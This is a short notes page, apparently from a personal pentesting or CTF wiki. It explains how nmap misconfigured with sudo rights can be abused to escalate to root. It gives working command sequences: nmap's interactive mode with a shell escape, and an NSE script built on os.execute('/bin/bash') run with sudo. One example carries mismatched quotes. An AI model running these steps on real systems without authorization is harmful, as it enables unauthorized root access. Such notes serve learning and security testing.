> For the complete documentation index, see [llms.txt](https://ymiir.gitbook.io/extra/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ymiir.gitbook.io/extra/extra-notes/privilege-escalation/nmap-exploitation.md).

# NMAP Exploitation

**NMAP Exploitation.**

Nmap is scanner for network and OS detection. If nmap being misconfiguration used "sudo" or "administrator" it can lead to privilege escalation.

## Exploit 1

Using `sudo -l`

{% hint style="info" %}
-l using for listing all
{% endhint %}

![](/files/xIBpClFe6K9NJr3LHCY5)

Or

![](/files/zB2PznQ5DcXpqGdU2MSK)

* `Run sudo nmap -- interactive or nmap --interactive`
* `!bash or !sh`
* `Whoami`

It will escalate as root.

## Exploit 2

Same as above, but this time `--interactive` not working. We need to play we environment a bit.

* `TF=$(mktemp)`
* `echo ‘os.execute(‘/bin/bash’)’ > $TF`
* `Sudo -u root nmap --script=$TF`

Or

* `echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse`

We now root. This technique used to run a script in nmap.